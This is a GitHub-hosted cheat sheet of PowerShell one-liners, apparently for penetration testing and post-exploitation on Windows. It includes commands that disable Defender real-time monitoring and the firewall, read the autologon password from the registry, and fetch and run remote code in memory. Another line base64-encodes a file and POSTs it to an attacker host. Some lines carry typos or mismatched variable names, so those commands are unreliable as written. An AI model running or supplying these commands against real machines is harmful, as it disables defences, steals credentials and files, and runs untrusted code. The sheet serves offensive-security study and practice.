-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpowershell.cheat
50 lines (35 loc) · 1.83 KB
/
powershell.cheat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
% powershell
# Show if Powershell ConstrainedLanguage is enable
$ExecutionContext.SessionState.LanguageMode
# Show if Applocker is enabled
Get-AppLockerPolicy -Effective
# Show if Defender WDAC DeviceGuard is enabled
Cet-CimInstance -ClassName Win32_DeviceGuard -Nmespace root\Microsoft\Windows\DeviceGuard
# Windows Defender excluded path
(Get-MpPreference).Exclusionpath
# Disable Windows Defender realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
# PS remoting
$pass = ConvertTo-SecureString <pass> -asplaintext -force
$cred = New-Object System.Management.Automation.PSCredential(<user>, $pass)
$session = New-PSSession -ComputerName <target> -Credential $creds
# PSSESSION
echo '$cred = Get-Credential'
echo 'Enter-PSSession -ComputerName <TARGET> -Authentication Negotiate -Credential $cred'
# Invoke-Command on remote computer via PS Remoting Session
Invoke-Command -ScriptBlock{hostname;whoami;Get-LocalGroupMember -Group Administrators} -Session <session>
# Search Scheduled Task base on arguments list, print details
(Get-ScheduledTask | ?{$_.Actions.Arguments -match "<argumentpattern>"} ).Actions
# Registry get autologon
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "DefaultPassword"
# Get Shell options and history path
Get-PSReadlineOption
# mssql query via powershell
Invoke-Sqlcmd -Query '<query>' -Username <user> -Password <pass>
# Disable windows firewall
Set-NetFirewallProfile -Name Domain,Private,Public -Enabled False
# Download in Memory
echo 'iex (New-Object Net.WebClient).DownloadString(\'<URL>\')'
# Convert file to base64 and upload it to attack machine webserver listening with netcat
echo '$Base64String = [System.convert]::ToBase64String((Get-Content -Path "c:/<PATH>" -Encoding Byte))'
echo 'Invoke-WebRequest -Uri http://<ATTACKIP> -Method POST -Body $Base64String'